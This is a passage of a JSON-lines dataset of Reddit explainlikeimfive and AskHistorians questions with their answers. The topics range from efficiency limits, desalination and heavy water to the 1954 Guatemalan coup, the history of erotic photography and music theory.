used more recently in small scale [solar thermal generators](_URL_1_) (i.e. devices that use focused sunlight to heat a liquid to generate power).", "LDPC codes and turbo codes can get very close to the Shannon limit", "For unconcentrated sunlight the theoretical efficiency limit is 31% (the famous Shockely-Quiesser limit). Recently Alta Devices has produced a GaAs single junction solar cell with 28.2% efficiency, **that's within 10% of the theoretical maximum!** Quiet an amazing result! \n\n[NB. solar cell efficiency increases under concentration of sunlight, the highest GaAs solar cell efficiency is 29.1% at 117x concentration factor]", "Wind turbines.\n\n\nspecifically the familiar horizontal axis wind turbine (HAWT) designs -- come very close to the Betz limit (~60% extraction efficiency) ", "Transformers (Those big beige things on your powerlines outside) have an efficiency  > 98%. Experimental ones using superconductors consistently test above 99.5% efficiency.\n\n_URL_0_", "Ok, I'm going to say it:\n\nThe wheel", "The internal combustion engine is speculated to be reaching the maximum efficiencies possible by thermodynamics. Electric motors and computer chips have already been brought up. Electrolytic chemical processes also come to mind...", "Methods for sorting arbitrary data has reached the theoretical minimum number of comparisons. \n\nMany results in Computer Science are fascinating because they have hard theoretical bounds, which are often reached with good algorithms. I will try to post more a bit later.", "Computer chip size, specifically with regards to p-n junctions: we're getting so small, it's reaching the point where quantum tunneling is causing a problem for classical computing. Current approximations show that the minimum feature size is about 4 nm before electron tunneling becomes so prevalent that chips fail; right now we are at ~20 nm. \n\nHere's a starter info: _URL_0_", "Until material technology makes some sort of radical breakthrough, I'd say rocket and jet engine technology have reached their pinnacle due to the limits imposed by ever increasing pressures and temperatures required to produce the same amount of thrust using less fuel and lighter engines.", "Electric heaters, almost by definition.   :-)\n\n(yes, I know that heat pumps / reverse air-conditioners have different rules)", "To some extent, there are a lot of [mature technologies](_URL_0_) that you could say have pretty much been optimized (in that they haven't been changed substantially over a long period of time, anyway--for a lot of them, *proving* that they're optimized is very difficult.) There are a variety of chemical reactions that, for doing a particular coupling or cleavage, have been pretty much optimized.\n\nAlso, consider common tools like hammers, forks, or door hinges. When they were developed, enormous technological advances. Not so much advancement for them these days.", "The latency on cross-continental pings is very close to the theoretical limit due to the speed of light in copper/fiber. Switches basically run at \"wire speed\". ", "I was reading about image definition and comparing it to the human eye. Since we can now make images in a higher definition than the human eye can see we *could* say that this technology is at maximum necessary efficiency to serve its purpose for many mediums. Although in the context you have stated imaging technology is nowhere near its theoretical efficiency. I just thought it was a neat tidbit :)", "Some brushless motors are hitting as high as 95% electro-mechanical energy conversion efficiency. It's a shame our generation and storage methods are so inefficient or plug in electric cars could actually be feasible. \n\nMany large turbine designs operate near maximum efficiency as defined by thermodynamic laws regarding entropy. \n\n", "For engines, the [Stirling Engine](_URL_0_) is about as close as you can get. It operates at almost the Carnot efficiency, which is the theoretical limit for devices that use thermal energy to do work. The only problem is that it's hard to make one that operates at high speeds due to the mechanics of how they work. I've seen them used more recently in small scale [solar thermal generators](_URL_1_) (i.e. devices that use focused sunlight to heat a liquid to generate power).", "LDPC codes and turbo codes can get very close to the Shannon limit", "For unconcentrated sunlight the theoretical efficiency limit is 31% (the famous Shockely-Quiesser limit). Recently Alta Devices has produced a GaAs single junction solar cell with 28.2% efficiency, **that's within 10% of the theoretical maximum!** Quiet an amazing result! \n\n[NB. solar cell efficiency increases under concentration of sunlight, the highest GaAs solar cell efficiency is 29.1% at 117x concentration factor]", "Wind turbines.\n\n\nspecifically the familiar horizontal axis wind turbine (HAWT) designs -- come very close to the Betz limit (~60% extraction efficiency) ", "Transformers (Those big beige things on your powerlines outside) have an efficiency  > 98%. Experimental ones using superconductors consistently test above 99.5% efficiency.\n\n_URL_0_", "Ok, I'm going to say it:\n\nThe wheel", "The internal combustion engine is speculated to be reaching the maximum efficiencies possible by thermodynamics. Electric motors and computer chips have already been brought up. Electrolytic chemical processes also come to mind..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.anandtech.com/show/4043/micron-announces-clearnand-25nm-with-ecc"], [], [], ["http://en.wikipedia.org/wiki/Mature_technology"], [], [], [], ["http://en.wikipedia.org/wiki/Stirling_engine", "http://en.wikipedia.org/wiki/Solar_thermal_energy#Parabolic_trough_designs"], [], [], [], ["http://en.wikipedia.org/wiki/Transformer"], [], [], [], ["http://www.anandtech.com/show/4043/micron-announces-clearnand-25nm-with-ecc"], [], [], ["http://en.wikipedia.org/wiki/Mature_technology"], [], [], [], ["http://en.wikipedia.org/wiki/Stirling_engine", "http://en.wikipedia.org/wiki/Solar_thermal_energy#Parabolic_trough_designs"], [], [], [], ["http://en.wikipedia.org/wiki/Transformer"], [], []]}
{"q_id": "496wve", "title": "penguins have a little gland that easily filters salt from their blood. why can't we recreate that function to get cheap desalination?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/496wve/eli5_penguins_have_a_little_gland_that_easily/", "answers": {"a_id": ["d0pixqe", "d0pk9m7", "d0pkjma", "d0pks9j", "d0pl78q", "d0pl84r", "d0pmkwx", "d0psh3h"], "score": [294, 13, 5, 2, 18, 2, 2, 2], "text": ["It doesn't \"easily\" filter salt. It's a complex biochemical system, which we can't yet replicate because we can't build living cells. \n\nBut even if we could, it would still take energy - and energy is the single biggest limiting factor in desalination. Given that most places that need desalination are in hot sunny places, it would seem more sensible to use solar energy.\n\nEDIT - tyop/.", "We already have cheap desalination. Water can be desalinated by boiling it. Given enough time you can use the sun itself for that. The problem with desalinating water isn't that we can't do it, its that the people who need desalinated water the most are poor, uneducated and usually live in politically unstable countries. The technology already exists, we just aren't using it.\n\nAs a side note it might eventually be possible to create a human version of that gland so that humans can drink sea water. This isn't going to happen anytime soon, but would be really cool if it ever does happen.", "Cheap desalination is coming as soon as we figure out how to produce graphene in large amounts. Read near bottom of article.\n\n_URL_1_\n\nFurthermore, with emerging DNA technology, it will soon be possible to stick that penguin desalinator gene into other organisms, look at the chicken/ dinosaur that is in the news right now.\n\n_URL_0_", "This process is the result of a long evolutionary process.  It involves many steps, a large portion of them redundant or unnecessary, involving proteins and other molecules which we cannot synthesize in a reaction we couldn't replicate even if we could.\n\nIn reality, desalination is limited by energy and efficiency and we have a number of processes that do this that outstrip biological efficiency anyway.\n\nKeep thinking like this though, you're head is in the right place.  Explore nature for solutions.  Learn, know...", "That little gland is the result of millions of years of evolution. To call it little and pretend it's thus easy to recreate is, frankly, a little silly. We can't easily recreate it because we don't know how to create cells. It would take many decades of research by specialists to even come close to a prototype. So, we're currently better of using the technology we do already have to filter salt from fluids. ", "There is already a method of desalination called Reverse Osmosis, where salt water is pumped at high pressure though a very fine filter, removing the salt from solution. \n\nThe reason it's expensive is that the water has to be pumped at around 20-60 bar due to the \"osmotic pressure\" of the fluid. The Osmotic Pressure is linked to the salt concentration, and it represents the pressure required to stop normal Osmosis from occurring (the water with low salt concentration would flow into the high concentrate solution, giving equal concentration either side of the filter.)\n\nThe osmotic pressure isn't going to change, so it's unlikely that we'll reduce the cost hugely. You can also use ion filtration, where you pull out the salt ions etc, but it's generally only used for super pure water required in industry just now though.", "The mad scientist in me read this as replicating the gland for implantation in humans. Industrial applications?! Pshaw! Igor, hand me the eviscerator.", "Can't we make a Penguin hive and hook them up to pipes, like in the Matrix but for Desalination?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.bbc.com/earth/story/20150512-bird-grows-face-of-dinosaur", "http://www.graphene-info.com/graphene-water-treatment"], [], [], [], [], []]}
{"q_id": "7k0jpi", "title": "Considering the modern day ubiquity of dick pics, it seems like men have a deep seated need to take pictures of their penis and distribute them. Were there ever dick daguerreotypes?", "selftext": "A quick google came up with nothing, but I\u2019m still hopeful. It just seems like, you know, the first thing a guy does when he gets a camera is to take a picture of his penis so... where are those good good July Monarchy dick pics?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7k0jpi/considering_the_modern_day_ubiquity_of_dick_pics/", "answers": {"a_id": ["drao08r"], "score": [678], "text": [" > A quick google came up with nothing, but I\u2019m still hopeful... [for vintage] dick daguerreotypes?\n\nSure OP... \ud83d\ude0f\n\nAlthough no research has been done into why modern men are so insistent on pointing their phones at their dick and firing off pictures with poor lighting and terrible angles (get yours solidly critiqued [here](_URL_1_) [NSFW link. Actually, **assume every link in this post is NSFW**], there are two rather simple explanations as to why this is a relatively new phenomenon, and why there was no secret Victorian trade in dick daguerreotypes: (1) length [heh] and (2) ~~width of~~ the stack of bank notes you'd have to put down. \n\nI'm not sure how long or how much you've experimented with taking pictures of your dick, OP, but if you wanted to get in on the *real* vintage game, you would be expected to hold the *visible* object very still for several minutes. Although this might be possible with porn-star levels of control (compliments to your significant other) it does lend itself to complications of lighting (flash bulbs and nudity have a tendency of not playing well with each other), as well as the period of time in which you can contemplate your poor life decisions. Perhaps this is one reason we don't have much in the way of victorian dick. This partially explains why so much early photography is still life or landscape--it is hard to take a picture of people having sex. Even if you were to use slightly more modern technology, with bromide film, it would take you about 60-90 seconds of holding the camera at the object in question, but it still leads us into the second and biggest reason as to why there is not an archive of antique dick picks for modern inspiration: **cost**\n\nEarly photographic equipment was *expensive* as all hell, even when the inventor sold his copyright to the french state for the good of all humanity, it remained expensive to buy the equipment and the film and to get models to take naked pictures of. In the beginning, photographs were expensive (as much as a week's salary for the average person), and their high cost limited the purchasers to the upper-classes. The first publishers and connoisseurs\u2014Hans-Michael Koetzle notes in 1000 Nudes: A History of Erotic Photography\u2014saw this as a good thing, as the prices kept the number of customers to a manageable level, and confined to \u201csocial classes respected for their moral integrity and ethical stability.\u201d The improved technology which allowed mass printing and lowered costs was what caused things to become, \u201c\u2018problematic\u2019 in the pleasure-dampening and prudish Victorian sense.\u201d \n\n\nAccording to Alexandre Dupouy's Erotic Photography, a certain optician named No\u00ebl-Marie Paimal Lebours claimed to have taken the first nude photograph by 1841 (I could not find a copy of it however!). Hilariously enough, when the first commercial photographs went on sale in France, they were available from the offices of opticians, and in the salons of high-end art dealers\u2014not in shady backstreet alleyways (that would come later). The original nude photography was almost like a painting would be done. As Dupouy notes:\n\n > They mimicked artists and painters by making pastiches of their compositions and the use of accessories, including draping, columns and fabric. In fact, most of the precursors of photography came directly from painting. The interconnection between the two processes seemed obvious: photographers were inspired by painters, and painters made use of photography. With photography, artists no longer had to put up with models who either did not turn up or were late.\n\nThey pretended to sell to painters as a way of replacing finicky and no-show models for their paintings. As a result you see photographs like this, [very refined and artistic.](_URL_0_). That second to last picture in there is one of the only daguerreotypes in the Uwe Scheid collection (the largest archive of erotic photography) that includes an erection, and is perhaps a mis-dated later photograph. And then when it became cheap enough, they sold to the much much larger market of straight men, not gay men. Finally, although men in todays society seem to think that their dick might get a women to sleep with them, historically the first sexual move was more likely to be giving the low-standards woman or man of your choice an erotica like Fanny Hill rather than insanely expensive daguerreotypes or plates. \n\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://imgur.com/a/s4uNu", "https://critiquemydickpic.tumblr.com"]]}
{"q_id": "6cx94x", "title": "what is kik? and why do people use it over texting?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6cx94x/eli5what_is_kik_and_why_do_people_use_it_over/", "answers": {"a_id": ["dhy3fgg", "dhy3jyn", "dhy3k87"], "score": [5, 10, 5], "text": ["Kik is a texting (as well as picture, video sharing, and gouptext) app that uses wi-fi or mobile data instead of cell service, similar to iMessage but can be used on Andriod and IOS.  For this reason the app is fairly popular with younger, middle-school aged, teens.\n\nIt also is an encrypted messaging service.  So other, privacy seeking users, may find this messaging app preferable to others (for sending dirty pictures).", "Kik is a messenger app, can be used with just wifi and doesn't require you to share your phone number. I prefer to use Kik over texting because \n1. I don't have to share my personal phone number\n\n 2. It tells you when the message has been delivered, read, and when the person is replying\n\n 3.  Standard messaging rates don't apply\n\n", "Does anyone know how kik make money?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "218szi", "title": "why we use propane for grills, methane for stoves, and heating oil for houses?", "selftext": "I get not wasting refining products, but since they have different levels of energy isn't it kind of dumb if you have a better fuel?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/218szi/eli5_why_we_use_propane_for_grills_methane_for/", "answers": {"a_id": ["cgaoxy7", "cgatygn", "cgb0rq4"], "score": [19, 2, 2], "text": ["Only some houses use heating oil these days -- usually older ones that were put in before natural gas was run directly to homes. When heating oil was common, natural gas wasn't.\n\nNatural gas for stoves and heating makes sense -- it's efficient and it burns cleanly -- and it's piped into people's houses.\n\nPropane for grills also makes sense, since you can contain a large amount of propane in a small tank and it's portable.  There are plenty of NG grills out there, but they're usually only for people who've invested in permanently installing their grills.", "LPG is commonly used for grills and for other uses beyond the reach of natural gas pipelines because it is much cheaper and easier to transport and store in portable containers. CNG is stored at 2900-3600 PSI, whereas pure propane at 15.5C will be at around 635 kPa, or 92PSI at 60F. The type of bottle required for the high pressures of natural gas would be extremely heavy and expensive.\n\nMethane (nat gas) is used in our homes because we have good distribution infrastructure and it is cleaner cheaper and easier for the end user to consume. Natural gas does not contaminate the soil, does not require on site storage, and does not require trucks for delivery. All around it is less of a hassle for the end user.\n\n", "you couldnt store 5% of the btus of propane in a 20 lb tank with natural gas.the tanks are rated for a max of 650 psi and arent even used at that pressure.cng compressed natural gas when used for vehicles is filled to 2k psi.propane is used for everything that natural gas is used _URL_0_ is not cost effective to pipe everyone up.propane is stored as a liquid."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["for.it"]]}
{"q_id": "6jgkiv", "title": "why are there no giant bacteria?", "selftext": "How big can a bacteria get? \nWhy are there no real life \"[Gelatinous blobs](_URL_0_)\"\n\nEdit: thanks everyone for your answers, love the icream analogy!  ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6jgkiv/eli5_why_are_there_no_giant_bacteria/", "answers": {"a_id": ["dje3ctu", "dje3gu6", "dje3kdv", "dje5fcr", "djedhhv"], "score": [11, 12, 2, 174, 4], "text": ["Because bacteria produce ATP on their cell membranes. (ATP is the energy currency of living cells). When an organism grows, its surface to volume ratio decreases meaning that it has more internal space than it has surface area, meaning that its ability to produce ATP decreases with size. We are eukaryotes. One distinctive quality of all eukaryotes is that we possess membrane-bound compartments in our cytoplasm. Among these compartments are mitochondria, which due to their abundance  &  extreme surface area, allow us to have larger cells  &  access higher amounts of energy. There are exceptions to this general rune  &  bacterium that can be seen by the naked eye: _URL_0_", "I'm not an expert by any means, but my cell biology and microbiology professors both explained that it deals with the efficiency of the cell. Ultimately, there's an ideal surface area:volume ratio of a cell that will allow for the most efficient energy production, storage, and transport of nutrients and waste into and out of the cell. For theoretical arguments, let's pretend the cell is a perfect sphere. Surface Area of a sphere is: 4\u03c0r^2 . Volume of a sphere is: (4/3)\u03c0r^3 . As you can see from the formulas, the only thing that really has any bearing on SA:V ratio is the radius of the cell (sphere), and since the volume is a result of cubing the radius whereas the surface area is a result of *only* squaring the radius, the cell's volume will increase at a faster rate than its surface area. So basically as the cell grows in size, its SA:V ratio will decrease, and this makes it highly inefficient to transport nutrients and waste across the plasma membrane.\n\nThere certainly may be other contributing factors, but this is one I remember from my biology classes.", "I did some research and there are a ton of speculations out there but I don't think there's one simple answer. However it is thought that being larger generally makes survival easier, but many thing prevent this. The top ones i found were:\n\n-a lack of mitochondria makes it difficult to transfer energy to different parts of the cell\n-a lack of a cytoskeleton prevents it from maintaining organization at larger sizes\n-the trade off between size and replication can lead to evolutionary disadvantages since they cant grow and divide at the same time\n            - > a drop in division can also mean a drop in population size causing a bunch of weird statistical things that throw off the balance in mutations, genetic drift, etc. \n            - > also in general smaller populations lose to larger populations (10 small bacteria beat out 1 big bacteria, and eventually the big ones are wiped out). \n\nThere's also speculation on why they broke off from eukaryotes and managed to stay alive but a lot of it's still very much guess work from what I've seen. ", "Ok, so do we all like ice cream?\n\nToday you get to have any amount of your favorite flavor, and then cover it with as much topping as you want. Let's say you love chocolate sprinkles.\n\nYour eyes shine and you scoop the biggest ice cream ball the world has ever seen. It barely sits in the cone. And now you cover it nicely all around with 2 spoonfuls of sprinkles. Nice!\n\nThen it's your cousin's turn. To a bowl she adds the exact same amount of ice cream you did, but instead of a huge ball, she splits it in 6 smaller scoops (lame!)\n\nBut you don't expect what she does next: taking the same 2 spoonfuls of sprinkles, they just cover 2 of her scoops! While taking 4 more spoons of the chocolatey deliciousness, she winks at you and you finally realize \u2013 you've played yourself. You might have the biggest ball, but she has the same amount of ice cream and her topping game beats yours. Good luck enjoying that giant dull scoop after the first bits...\n\nNow to bacteria, they're like ice cream scoops: they need a big surface to get their good stuff (food, \"air\"). To keep the balance, they stay nice and small so they don't go \"dull\" :)", "While not a bacteria, there do exist very large single-celled organisms. The [\"sailor's eyeball\"](_URL_0_) is a single-celled organism that can grow up to **several centimeters** across, which is absolutely humongous compared to things like bacteria!"]}, "title_urls": [], "selftext_urls": ["https://en.wikipedia.org/wiki/Gelatinous_cube"], "answers_urls": [["https://en.wikipedia.org/wiki/Thiomargarita_namibiensis"], [], [], [], ["https://en.wikipedia.org/wiki/Valonia_ventricosa"]]}
{"q_id": "allo5s", "title": "the difference between light and heavy water and how they are used to make nuclear weapons.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/allo5s/elif_the_difference_between_light_and_heavy_water/", "answers": {"a_id": ["eff0707", "eff54fw", "effolt5"], "score": [12, 6, 3], "text": ["Water is of course H2O, two hydrogens bonded to an oxygen atom. Heavy water contains more than the usual concentration of deuterium, an isotope of hydrogen where instead of it being a single proton in the nucleus it is a proton and a neutron. The extra weight of the neutron makes the atom and resulting molecule \"heavy\", changing its properties.\n\nFor nuclear applications the heavy water is used to slow down the neutron radiation from the radioactive material and make it more likely to interact with the uranium-235 (which will decay and release more neutrons) than with the uranium-238 which will absorb it without decaying. It helps the nuclear reaction along.", "Water is two hydrogen atoms and one oxygen atom.  If we look at what makes up a hydrogen atom, you find that it normally has one proton in its nucleus and one electron floating around outside it.  However, there is a variant (isotope) of hydrogen that is different - it has one proton AND one neutron in its nucleus along with the electron floating around it.  Water made with normal hydrogen has fewer neutrons and is thus \"lighter\" while water made with deuterium has more neutrons and is thus heavier.\n\nWhy does this matter?  Because of nuclear fusion.  Fusion is basically where you smash atoms together with enough force and they make something new.  It takes certain combinations of protons, neutrons, and electrons to actually combine into something that'll stick for any period of time.  If I smash two regular hydrogen atoms together, they won't stick because they have no neutrons in the nucleus and every other element has some number of neutrons in the nucleus.  But if I take deuterium and smash it together, all of a sudden I have the right combination of atom parts to make helium.  Thus comes the hydrogen bomb - you take a fission bomb (atom-splitting), put it next to a bunch of refined deuterium, and when the fission bomb goes off it basically adds enough energy to start smashing deuterium into helium, releasing all sorts of extra energy in the process.", "Regular hydrogen (H) is an atom with one proton in its center (the nucleus).\n\nDeuterium (D), a hydrogen _isotope_, has one proton _and_ one neutron at its center. (All isotopes of hydrogen have one proton, by definition. But they can have different numbers of neutrons.) Tritium, another isotope, just for example, is one proton and _two_ neutrons.\n\nLight water is H2O \u2014\u00a0two hydrogens and an oxygen atom in a molecule. Heavy water is D2O \u2014 two deuteriums and an oxygen atom.\n\nIn terms of nuclear weapons: both light water and heavy water can be used in reactor designs, but they change what kind of fuel you put in the reactor. If you use light water, you need to enrich the uranium fuel slightly (increase the U-235 isotope versus the U-238 isotope) from what you find in natural uranium as mined out of the ground. If you use heavy water, you can use natural uranium. The water (light or heavy) here is acting as a _moderator_, which slows down neutrons and increases the probability of a chain reaction in the uranium. In any uranium-fueled nuclear reactor, you can use it to produce plutonium-239, an element that is used as a fuel in nuclear weapons. \n\nSo this is why so much emphasis was put on heavy water in World War II: it was feared that if the Nazis got ahold of heavy water, they would be able to run a reactor on natural uranium fuel, and turn that into plutonium, which could be used in a bomb. There are others ways to do it (you can use graphite as a moderator, too, and that's what the USA did), but that was the concern. It turns out the Germans did not really have a bomb program (just a small reactor program), but that's a separate historical issue.\n\nThe other potential application of deuterium to nuclear weapons is as a fusion fuel. The first hydrogen bomb (where an atomic bomb is used to start a fusion reaction) used a large amount of liquid deuterium as its fusion fuel. Later H-bombs used lithium that had been bonded with deuterium (LiD, Lithium-Deuteride) as their fuel. \n\nYou can also inject deuterium and tritium into the core of an exploding atomic bomb to get a tiny bit of fusion reactions, which creates more neutrons, which increases the efficiency of the fission reaction. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3nibre", "title": "Was there any legit justification for the CIA to support the Guatemalan coup in 1954?", "selftext": "I know the argument at the time was that Arbenz's policies leaned a bit too far to the Communist side for the United States's liking, but is there anything that could paint the U.S. in a good light in this operation? I feel like it's disengenous to paint them as entirely bad guys...there's gotta be something in their favor. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3nibre/was_there_any_legit_justification_for_the_cia_to/", "answers": {"a_id": ["cvonjnn"], "score": [2], "text": ["Operation PBHistory was put togrther after the coup essentially to try and unearth documentary evidence of some nasty Communist/Soviet conspiracy. They basically found nothing much of interest, Allen Dulles (CIA boss) called the documents found 'topical' and of low intelligence value."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5iyqht", "title": "What's the farthest known distance that an individual First Nation, Native American, or other Canadian or American indigenous person travelled in the Americas?", "selftext": "Is there any evidence of say a Cree or Mohawk personally meeting with some of other famous peoples of NA or SA? We give so much attention to other cultures, as well as their explorers and diplomats. I can only hope that 10000 years of development in the Americas allowed there to be a few very well travelled individuals. I'm imagining an Iroquois touring a Mayan temple, which is probably unlikely but pretty fun to imagine.  \n\nEDIT: pre-euro contact.\n\n\n\n\n", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5iyqht/whats_the_farthest_known_distance_that_an/", "answers": {"a_id": ["dbc1mdb", "dbcl0tp"], "score": [2, 2], "text": ["Do you have a time frame in mind? There are (e.g.) Cree and Mohawk people today...", "There's always room for discussion, but perhaps the section [Pre-Columbian Trade and Contact](_URL_0_) from our FAQ will answer your inquiry."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.reddit.com/r/AskHistorians/wiki/nativeamerican#wiki_pre-columbian_trade_and_contact"]]}
{"q_id": "qd85a", "title": "what's the actual difference between totalitarianism and authoritarianism?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/qd85a/eli5_whats_the_actual_difference_between/", "answers": {"a_id": ["c3wnu0q", "c3wy3rz"], "score": [11, 2], "text": ["Here's my understanding of it:\n\nAuthoritarianism is all about centralizing power. They want all the power invested in the government.\n\nTotalitarianism is about extending government control to EVERY aspect of society. ", "Authoritarianism - the executive has a lot of control over the other organs of the state - the judiciary, military and legislature.  Authoritarianism can exist in degrees: for instance, Uzbekistan is more authoritarian than Russia\n\nTotalitarianism - the executive controls the 'totality' of both the state and society.  So no social organisations are outside of the control of the governing party.  Totalitarianism is more black and white, a state either is or isn't.  North Korea would be an example of a totalitarian state; Nazi Germany is the classic example.  China used to be but probably isn't any more."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "a4ftky", "title": "is there a mathematical theory that explains/predicts \u2018good\u2019 music?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a4ftky/eli5_is_there_a_mathematical_theory_that/", "answers": {"a_id": ["ebe0tty", "ebe2dom", "ebeay99", "ebebd69", "ebebhr9", "ebedk91", "ebeebpt", "ebeevze", "ebef4p2", "ebefttz", "ebeg5xh", "ebegb74", "ebeh60g", "ebeh9hh", "ebehi6c", "ebehml0", "ebehno9", "ebei9ek", "ebeif52", "ebeiw7r", "ebej5re", "ebekeos", "ebekfib", "ebekrhp", "ebel7hp", "ebelekq", "ebem1yl", "ebepkgc", "ebet2kj", "ebev51h", "ebevdhc", "ebevfol", "ebex7c5", "ebf9ps8"], "score": [19, 182, 765, 263, 380, 5, 5, 4, 6, 23, 6, 2, 12, 2, 8, 3, 4, 10, 3, 9, 3, 2, 2, 2, 3, 3, 2, 3, 2, 2, 2, 2, 2, 2], "text": ["Not exactly a theory, but a lot of music exists around 120 beats per minute due to the average heart rate. The key of C major is generally thought of as an easy range for most people to sing as well. Doesnt necessarily equal good, but makes the song easier to understand. ", "Sort of. For melodic intervals (the frequency distance between notes) is mainly based off if the relationship between the octave (2 times the frequency of a note, or a ratio of 2:1) and the fifth (frequency that is 3:2 ratio of the root note.) We like intervals that are based on whole number ratios, for the most part, however music does differ culturally with various differences of intervals that use for a scale (normally this is the distance between a root note and its octave). But generally, humans everywhere like the octave and fifth. ", "There is a field of study called \"music theory\" that involves finding common patterns in music that has already been written. \n\nHowever, there's no mathematical method to *predict* musical \"goodness\" any more than there is a formula to predict a great poem or a funny joke.\n\nAnd personally, that is a huge relief.", "There\u2019s a mathematical analysis by Dimitri Tymoczko that investigates cross-cultural similarities in tonal music. ", "It really depends on what you think good music is. That feels like a throwaway statement, but what I mean is that theory just describes what you're hearing and puts a name to it. Consonant music (what you're probably thinking of as \"good\" sounding right now) is described by music theory in a particular way so that if you want to hear or make more of that music, you know what pitch intervals to use, what time signatures to use, etc. \n\nIn terms of what sounds good to people, it's all based on personal history and historical/cultural context. If you live in a western country, you probably are familiar with music that uses 12 notes. That's not the case everywhere, and if you heard music that uses more notes than that, you'd be really likely to think it sounds out of tune. Likewise, if you started listening to lots and lots of dissonant music, you'd probably eventually form an emotional connection of some sort and learn to appreciate it. But again, music theory as an entity doesn't have an opinion about that, it just describes what's happening and organizes it in a way that's easy for people to reference.", "Sorry don\u2019t have have the math but here\u2019s a great article. \n\n_URL_0_ \n\nThe short answer \u201cmore specifically, a four-chord progression a musicologist would notate as I-V-vi-IV. In the key of C, that would include the chords C, G, Am and F.\n\nThose four chords, or the same progression in another key, are the backbone of literally thousands of songs that have charted over the past 70 years\u201d", "The specific music theory courses are called \"Harmony\". Harmony basically tells you that some chords are resolved and sound like a place of rest or home, and some chords are dissonant and provide a sense of travel or excitement. You need a balance of both of these for good music (we like exciting journeys but great journeys always end resolving back to a place of peaceful rest at home).\n\nHarmony will tell you what chords sound nice next to which other chords. It is very good at this, to the point where you can write down music without ever hearing it and having an expectation it will sound \"decent\" (Harmony will never be able to explain everything where creativity is needed).\n\nHarmony is mostly taught studying classical music from several hundred years ago. The theory is so powerful, that even over hundreds of years, the fundamental chord progressions have not changed and still show up very often in modern day music.", "You have just opened up a musical can of worms. Brace yourself.\n\nThe short answer is music theory. Specifically, Traditional Harmony. If you learn that you'll have a basic idea of, at the very least, why music sounds the way it does. You'll generally hear two arguments:\n\n- The musicians who love to use big fancy words to describe classical music theory and how it is omnipresent and makes music beautiful. They tend to see music in a 'correct/incorrect' reference frame. These are usually your classical, jazz, and pop musicians.\n\n- The musicians who are convinced it's all about \"the feel\" and that you should just play whatever comes to you, regardless of whether or not it's 'correct/incorrect.' They tend to see music as being on an emotional spectrum. These are usually your rock, blues, and hip-hop musicians. \n\nIt's a very conservative/liberal thing. You can argue both perspectives, and we probably need both. \n\nIf you ask 1,000 musicians this question you'll get 2,000 different answers, because we can never make up our minds. ", "Music theory doesn\u2019t tell you what necessarily sounds good, but how music actually works, and sounds the way it sounds. \n\nSource: music degree.  ", "There are companies that use something called \u201cmachine learning\u201d to predict what music is \u201cgood\u201d. They use computers to \u201clisten\u201d to lots of songs, telling the computers which songs are good and which songs are bad. The computer then uses what it learns to build something called a \u201cmodel\u201d. The company can then use that model to predict whether a new song will be good or not. Sometimes the model can explain why it thinks a song is good, but other times it is not clear.\n\nHere is an example - _URL_0_\n\nEdit: typo", "[The Fibonacci in Lateralus](_URL_0_). Song by tool based on a mathematical theory. So the answer is yes ", "Wikipedia has a page on [Music and Math](_URL_0_) that might shed some insight", "As most people are saying music theory fits this description. There are people studying music in a more \"scientific\" way. [Dr Daniel Levitin](_URL_0_), McGill University in Montreal, has a few books about what makes \"ear worms\" or catchy music from a neuroscience perspective (This is Your Brain on Music; The World in Six Songs). Linked above is a lecture about his work [here](_URL_1_) is another.", "Mathematical theory? Might start with wave harmonics (Fourier Series?), since the majority of what we consider music is a tempered (well) puzzle of the harmonic series. \nBut music is like wine, good is subjective.\nYou could narrow good music down to ranges of aspects like length, tempo, complexity, timbre, subject matter, instrumentation, fidelity, etc. \nBut it is also cultural and influenced by the human condition.  \nI grew up with Beethoven, then discovered Motley Crue and Metallica. After studying Jazz drums and Stravinsky, I once thought Pearl Jam was awful and White Stripes a joke. Now I can't get enough. I'm 40 and after learning Frank Zappa's entire discography, I'm just now understanding how 'good' the grateful dead were.", "There is one theory called the '1/f law' or '1/f noise' - it's basically about how the rhythm changes through the song, and whether or not it follows a particular pattern. If it does follow that pattern, it is claimed that the song is 'predictable' and is 'good'/people will enjoy it.\n\nThe problem with it is that, although it does match up well with a lot of 'good' music, it also doesn't match up at all with other 'good' music. So imo, it is not a robust enough theory, but it is the most popular one.\n\n & #x200B;\n\nThis video by Vsauce is not about that topic but you might enjoy:\n\n[_URL_1_](_URL_1_)\n\n & #x200B;\n\nThere is a book called Sweet Anticipation by David Huron, which is basically about your question and this topic - it might be worth trying to find a copy.\n\n & #x200B;\n\nEdit: You may also find this interesting - [_URL_0_](_URL_0_)", "Check out Hit Song Science. \n\nI`m not sold it's the end-all/be-all but Mike McCready spoke at my business school about creating the software and why it failed. It was a truly intriguing marketing case and opened my eyes to the possibility of a hit music algorithm. I personally think pop music is is more about who you know in the industry than how good your music is nowadays but that's my own opinion.", "Reading through the comments I think people hit most of the major aspects of this, but if you're interested in the connections between music and math (and computer science), I'd highly recommend the book *[Goedel, Escher, Bach](_URL_0_)*. It studies similarities between math, music, and art, and how 